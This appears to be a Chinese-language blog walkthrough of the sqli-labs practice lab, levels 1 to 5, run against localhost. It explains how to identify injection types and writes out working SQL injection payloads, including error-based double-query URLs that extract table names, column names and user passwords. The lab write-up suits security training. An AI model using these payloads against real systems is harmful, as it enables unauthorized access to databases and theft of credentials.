sqli-labs
判断注入类型
数字型
- Url 地址中输入 http://xxx/xx.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
- Url 地址中继续输入 http://xxx/xx.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
字符型
Url 地址中输入 http://xxx/xx.php?id= x’ and ‘1’=’1 页面运行正常,继续进行下一步。
2.Url 地址中继续输入 http://xxx/xx.php?id= x’ and ‘1’=’2 页面运行错误,则说明此 Sql 注入为字符型注入。
猜解数据库中字段数
使用 order by x 进行猜解的时候可以使用二分法进行猜解,先使用大一点的数字数字进行测试,如果报错就换数字的一半进行测试,当范围缩小时在依次测试。
注意: (–+为注释,将–+之后的语句都注释)
Less-1
# 这是字符型注入 |
sql注入完成,下图
Less-2
第二关为数字型注入和第一个一样,删除 id=1后面的引号即可
Less-3
第三关的注入类型是基于 ‘) 的注入,只需要把注入点改为 ‘) 就可以了。
Less-4
输入单引号进行测试:
我们发现并没有报错,那么就有可能是数据库后台把单引号过滤了,既然单引号类型被过滤了,那么我们就去测试双引号,我们输入注入语句:
?id=1" |
页面报错并且爆出了单括号,根据第三关的经验我们首先测试是不是基于 “) 的注入类型 ,输入注入语句:
?id=1") and 1=1 --+ |
第一个显示正常,第二个不正常但无报错说明有可能是基于 “) 的注入类型,接下来我们输入ORDER BY 语句进行测试:
?id=1") order by 3 --+ |
页面显示正常。。
Less-5
判断为字符注入,通过 ‘ 闭合查询无返回的数据,无论是有数据返回还是无数据返回页面都不会显示相关的数据。
所以这关的重点是盲注。
http://127.0.0.1/sqli-labs-master/less-5/?id=-1' %23 |
开始注入
1.双查询注入(需要多点几下才能出效果)
爆库名
http://127.0.0.1/sqli-labs-master/less-5/?id=1' union select 1, count(*), concat((select database()), floor(rand()*2)) a from information_schema.tables group by a %23 |
爆表名
http://127.0.0.1/sqli-labs-master/less-5/?id=1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), floor(rand()*2)) a from information_schema.tables group by a %23 |
爆列名
http://127.0.0.1/sqli-labs-master/less-5/?id=1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand()*2)) a from information_schema.tables group by a %23 |
爆字段内容(获取用户表的账号和密码)
http://127.0.0.1/sqli-labs-master/less-5/?id=1' union select 1, count(*), concat((select concat(username,'~',password) from users limit 0,1), floor(rand()*2)) a from information_schema.tables group by a %23 |
其他账号密码更改limit后面的0为1,2,3,4就可以出来了。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 C0rr3ct's Blog!